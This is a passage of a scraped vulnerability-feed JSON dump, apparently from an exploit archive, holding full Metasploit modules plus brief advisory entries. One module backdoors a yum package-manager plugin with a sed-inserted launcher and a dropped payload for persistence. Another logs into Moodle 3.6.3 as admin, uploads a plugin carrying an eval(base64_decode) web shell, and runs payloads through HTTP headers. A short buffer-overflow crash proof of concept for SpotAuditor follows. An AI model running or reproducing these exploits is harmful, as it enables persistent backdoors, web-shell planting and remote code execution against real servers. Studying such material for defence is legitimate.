Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n include Msf::Post::File\r\n include Msf::Post::Linux::System\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Yum Package Manager Persistence',\r\n 'Description' => %q(\r\n This module will run a payload when the package manager is used. No\r\n handler is ran automatically so you must configure an appropriate\r\n exploit/multi/handler to connect. Module modifies a yum plugin to\r\n launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/\r\n will show what plugins are currently enabled on the system.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' => ['Aaron Ringo'],\r\n 'Platform' => ['linux', 'unix'],\r\n 'Arch' =>\r\n [\r\n ARCH_CMD,\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell', 'meterpreter'],\r\n 'DefaultOptions' => {\r\n 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true',\r\n 'Payload' => 'cmd/unix/reverse_python'\r\n },\r\n 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum\r\n 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos\r\n OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),\r\n OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])\r\n ])\r\n\r\n register_advanced_options(\r\n [\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),\r\n OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])\r\n ])\r\n end\r\n\r\n def exploit\r\n # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable\r\n plugin = datastore['PLUGIN']\r\n full_plugin_path = \"#{datastore['PluginPath']}#{plugin}.py\"\r\n print_status(full_plugin_path)\r\n unless writable? full_plugin_path\r\n fail_with Failure::BadConfig, \"#{full_plugin_path} not writable, does not exist, or yum is not on system\"\r\n end\r\n\r\n # /etc/yum.conf must contain plugins=1 for plugins to run at all\r\n plugins_enabled = cmd_exec \"grep -F 'plugins=1' /etc/yum.conf\"\r\n unless plugins_enabled.include? 'plugins=1'\r\n fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'\r\n end\r\n print_good('Plugins are enabled!')\r\n\r\n # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1\r\n plugin_conf = \"/etc/yum/pluginconf.d/#{plugin}.conf\"\r\n plugin_enabled = cmd_exec \"grep -F 'enabled=1' #{plugin_conf}\"\r\n unless plugin_enabled.include? 'enabled=1'\r\n print_bad(\"#{plugin_conf} plugin is not configured to run\")\r\n fail_with Failure::NotVulnerable, \"try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*\"\r\n end\r\n\r\n # plugins are made in python and generate pycs on successful execution\r\n unless exist? \"#{full_plugin_path}c\"\r\n print_warning('Either Yum has never been executed, or the selected plugin has not run')\r\n end\r\n\r\n # check for write in backdoor path and set/generate backdoor name\r\n backdoor_path = datastore['WritableDir']\r\n unless writable? backdoor_path\r\n fail_with Failure::BadConfig, \"#{backdoor_path} is not writable\"\r\n end\r\n backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)\r\n backdoor_path << backdoor_name\r\n\r\n # check that the plugin contains an import os, to backdoor\r\n import_os_check = cmd_exec \"grep -F 'import os' #{full_plugin_path}\"\r\n unless import_os_check.include? 'import os'\r\n fail_with Failure::NotVulnerable, \"#{full_plugin_path} does not import os, which is odd\"\r\n end\r\n\r\n # check for sed binary and then append launcher to plugin underneath\r\n print_status('Attempting to modify plugin')\r\n launcher = \"os.system('setsid #{backdoor_path} 2>/dev/null \\\\& ')\"\r\n sed_path = cmd_exec \"command -v sed\"\r\n unless sed_path.include?('sed')\r\n fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'\r\n end\r\n sed_line = \"#{sed_path} -ie \\\"/import os/ a #{launcher}\\\" #{full_plugin_path}\"\r\n cmd_exec sed_line\r\n\r\n # actually write users payload to be executed then check for write\r\n if payload.arch.first == 'cmd'\r\n write_file(backdoor_path, payload.encoded)\r\n else\r\n write_file(backdoor_path, generate_payload_exe)\r\n end\r\n unless exist? backdoor_path\r\n fail_with Failure::Unknown, \"Failed to write #{backdoor_path}\"\r\n end\r\n\r\n # change perms to reflect bins in /usr/local/bin/, give good feels\r\n chmod(backdoor_path, 0755)\r\n print_status(\"Backdoor uploaded to #{backdoor_path}\")\r\n print_status('Backdoor will run on next Yum update')\r\n end\r\nend\n\n# 0day.today [2019-05-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32627"}, {"lastseen": "2019-05-01T19:54:08", "bulletinFamily": "exploit", "description": "Exploit for php platform in category remote exploits", "modified": "2019-05-01T00:00:00", "published": "2019-05-01T00:00:00", "id": "1337DAY-ID-32625", "href": "https://0day.today/exploit/description/32625", "title": "Moodle 3.6.3 - Install Plugin Remote Command Execution Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n \r\n include Msf::Exploit::Remote::HttpClient\r\n \r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => \"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution\",\r\n 'Description' => %q(\r\n This module exploits a command execution vulnerability in Moodle 3.6.3.\r\n An attacker can upload malicious file using the plugin installation area.\r\n Plugins must be hosted accommodate \"version.php\" and \"theme_{plugin name}.php\" files.\r\n After routine check, the moodle will accept the appropriate plugin file.\r\n Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin.\r\n The module receives a shell session from the server by placing malicious code in the language file.\r\n\r\n You must have an admin account to exploit this vulnerability.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'AkkuS <\u00d6zkan Mustafa Akku\u015f>', # Discovery & PoC & Metasploit module @ehakkus\r\n ],\r\n 'References' =>\r\n [\r\n ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],\r\n ['URL', 'https://moodle.org']\r\n ],\r\n 'Platform' => 'php',\r\n 'Arch' => ARCH_PHP,\r\n 'Targets' => [['Automatic', {}]],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => \"Apr 28 2019\",\r\n 'DefaultTarget' => 0))\r\n \r\n register_options(\r\n [\r\n OptString.new('TARGETURI', [true, \"Base Moodle directory path\", '/']),\r\n OptString.new('USERNAME', [true, \"Admin username to authenticate with\", 'admin']),\r\n OptString.new('PASSWORD', [false, \"Admin password to authenticate with\", 'admin'])\r\n ]\r\n )\r\n end\r\n\r\n def create_plugin_file\r\n # There are syntax errors in creating zip file. So the payload was sent as base64.\r\n plugin_file = Rex::Zip::Archive.new\r\n @header = Rex::Text.rand_text_alpha_upper(4)\r\n @plugin_name = Rex::Text.rand_text_alpha_lower(7)\r\n\r\n path = \"#{@plugin_name}/version.php\"\r\n path2 = \"#{@plugin_name}/lang/en/theme_#{@plugin_name}.php\"\r\n # \"$plugin->version\" and \"$plugin->component\" contents are required to accept Moodle plugin.\r\n plugin_file.add_file(path, \"<?php $plugin->version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';\")\r\n plugin_file.add_file(path2, \"<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>\")\r\n plugin_file.pack\r\n\r\n end\r\n\r\n def exec_code(cookie)\r\n handler\r\n # Base64 was encoded in \"PHP\". This process was sent as \"HTTP headers\".\r\n send_request_cgi({\r\n 'method' => 'GET',\r\n 'cookie' => cookie,\r\n 'uri' => normalize_uri(target_uri.path, \"theme\", @plugin_name, \"lang\", \"en\", \"theme_#{@plugin_name}.php\"),\r\n 'raw_headers' => \"#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\\r\\n\"\r\n })\r\n\r\n end\r\n\r\n def upload(cookie)\r\n # The beginning of the adventure o_O\r\n print_status(\"Plugin zip file is being created and loaded...\")\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'cookie' => cookie,\r\n 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')\r\n )\r\n\r\n @sesskey = res.body.split('\"sesskey\":\"')[1].split('\"')[0] # fetch session info\r\n @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload\r\n @author = res.body.split('title=\"View profile\">')[1].split('<')[0] # fetch admin account profile info\r\n @clientid = res.body.split('client_id\":\"')[1].split('\"')[0] # fetch client info\r\n \r\n # creating multipart data for the upload plugin file\r\n pdata = Rex::MIME::Message.new\r\n pdata.add_part(create_plugin_file, 'application/zip', nil, \"form-data; name=\\\"repo_upload_file\\\"; filename=\\\"#{@plugin_name}.zip\\\"\")\r\n pdata.add_part('', nil, nil, 'form-data; name=\"title\"')\r\n pdata.add_part(@author, nil, nil, 'form-data; name=\"author\"')\r\n pdata.add_part('allrightsreserved', nil, nil, 'form-data; name=\"license\"')\r\n pdata.add_part(@itemid, nil, nil, 'form-data; name=\"itemid\"')\r\n pdata.add_part('.zip', nil, nil, 'form-data; name=\"accepted_types[]\"')\r\n pdata.add_part('4', nil, nil, 'form-data; name=\"repo_id\"')\r\n pdata.add_part('', nil, nil, 'form-data; name=\"p\"')\r\n pdata.add_part('', nil, nil, 'form-data; name=\"page\"')\r\n pdata.add_part('filepicker', nil, nil, 'form-data; name=\"env\"')\r\n pdata.add_part(@sesskey, nil, nil, 'form-data; name=\"sesskey\"')\r\n pdata.add_part(@clientid, nil, nil, 'form-data; name=\"client_id\"')\r\n pdata.add_part('-1', nil, nil, 'form-data; name=\"maxbytes\"')\r\n pdata.add_part('-1', nil, nil, 'form-data; name=\"areamaxbytes\"')\r\n pdata.add_part('1', nil, nil, 'form-data; name=\"ctx_id\"')\r\n pdata.add_part('/', nil, nil, 'form-data; name=\"savepath\"')\r\n data = pdata.to_s\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data,\r\n 'ctype' => \"multipart/form-data; boundary=#{pdata.bound}\",\r\n 'cookie' => cookie,\r\n 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload') \r\n })\r\n\r\n if res.body =~ /draftfile.php/\r\n print_good(\"Plugin #{@plugin_name}.zip file successfully uploaded to target!\")\r\n print_status(\"Attempting to integrate the plugin...\")\r\n @zipfile = res.body.split('draft\\/')[1].split('\\/')[0]\r\n plugin_integration(cookie)\r\n else\r\n fail_with(Failure::NoAccess, \"Something went wrong!\")\r\n end\r\n end\r\n\r\n def plugin_integration(cookie)\r\n\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'sesskey' => @sesskey,\r\n '_qf__tool_installaddon_installfromzip_form' => '1',\r\n 'mform_showmore_id_general' => '0',\r\n 'mform_isexpanded_id_general' => '1',\r\n 'zipfile' => @zipfile,\r\n 'plugintype' => 'theme',\r\n 'rootdir' => '',\r\n 'submitbutton' => 'Install+plugin+from+the+ZIP+file'\r\n }\r\n )\r\n\r\n if res.body =~ /installzipstorage/\r\n print_good(\"Plugin successfully integrated!\")\r\n storage = res.body.split('installzipstorage=')[1].split('&')[0]\r\n\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'installzipcomponent' => \"theme_#{@plugin_name}\",\r\n 'installzipstorage' => storage,\r\n 'installzipconfirm' => '1',\r\n 'sesskey' => @sesskey\r\n }\r\n )\r\n exec_code(cookie)\r\n\r\n else\r\n fail_with(Failure::NoAccess, \"Something went wrong!\")\r\n end\r\n end\r\n \r\n def login(uname, pass)\r\n # 1st request to get MoodleSession and LoginToken\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, 'login', 'index.php')\r\n )\r\n cookie = res.get_cookies\r\n token = res.body.split('logintoken\" value=\"')[1].split('\"')[0]\r\n\r\n # 2nd request to login validation\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'anchor' => '',\r\n 'logintoken' => token,\r\n 'username' => uname,\r\n 'password' => pass\r\n }\r\n )\r\n\r\n cookie = res.get_cookies\r\n location = res.redirection.to_s\r\n if res and res.code = 303 && location.include?('testsession')\r\n return cookie \r\n end \r\n\r\n fail_with(Failure::NoAccess, \"Authentication was unsuccessful with user: #{uname}\")\r\n return nil\r\n end\r\n\r\n def check \r\n # Basic check \r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt')\r\n )\r\n\r\n if res && res.code == 200 && res.body =~ /=== 3.7/\r\n return Exploit::CheckCode::Safe\r\n else\r\n return Exploit::CheckCode::Appears\r\n end \r\n end\r\n \r\n def exploit\r\n cookie = login(datastore['USERNAME'], datastore['PASSWORD'])\r\n print_good(\"Authentication was successful with user: #{datastore['USERNAME']}\")\r\n upload(cookie) # start the adventure\r\n end\r\n##\r\n# The end of the adventure (o_O) // AkkuS\r\n##\r\nend\n\n# 0day.today [2019-05-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32625"}, {"lastseen": "2019-05-01T23:55:43", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-01T00:00:00", "published": "2019-05-01T00:00:00", "id": "1337DAY-ID-32629", "href": "https://0day.today/exploit/description/32629", "title": "SpotAuditor 5.2.6 - Name Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: www.nsauditor.com \r\n#Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe\r\n#Tested Version: 5.2.6\r\n#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: Spotauditor_name_5.2.6.py\r\n#2.- Open Spotauditor_name.txt and copy content to clipboard\r\n#3.- Open SpotAuditor\r\n#4.- Select \"Register\" > \"Enter Registration Code...\"\r\n#5.- In \"Name\" paste Clipboard\r\n#6.- In Key type \"test\"\r\n#7.- Click \"Ok\"\r\n#8.- Crarshed\r\n \r\ncod = \"\\x41\" * 300\r\n \r\nf = open('Spotauditor_name.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32629"}], "redhat": [{"lastseen": "2019-04-30T16:20:43", "bulletinFamily": "unix", "description": "This release of Red Hat Fuse 7.3 serves as a replacement for Red Hat Fuse 7.2, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References.\n\nSecurity Fix(es):\n\n* jackson-databind: A deserialization flaw was discovered in the jackson-databind which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper. (CVE-2017-7525)\n\n* struts2: ClassLoader manipulation via request parameters (CVE-2014-0112)\n\n* jetty: HTTP request smuggling (CVE-2017-7657)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-04-30T19:17:33", "published": "2019-04-30T19:17:04", "id": "RHSA-2019:0910", "href": "https://access.redhat.com/errata/RHSA-2019:0910", "type": "redhat", "title": "(RHSA-2019:0910) Important: Red Hat Fuse 7.3 security update", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "cve": [{"lastseen": "2019-05-02T11:54:39", "bulletinFamily": "NVD", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "modified": "2019-05-01T10:22:21", "published": "2019-04-30T10:29:00", "id": "CVE-2015-9286", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "title": "CVE-2015-9286", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}]}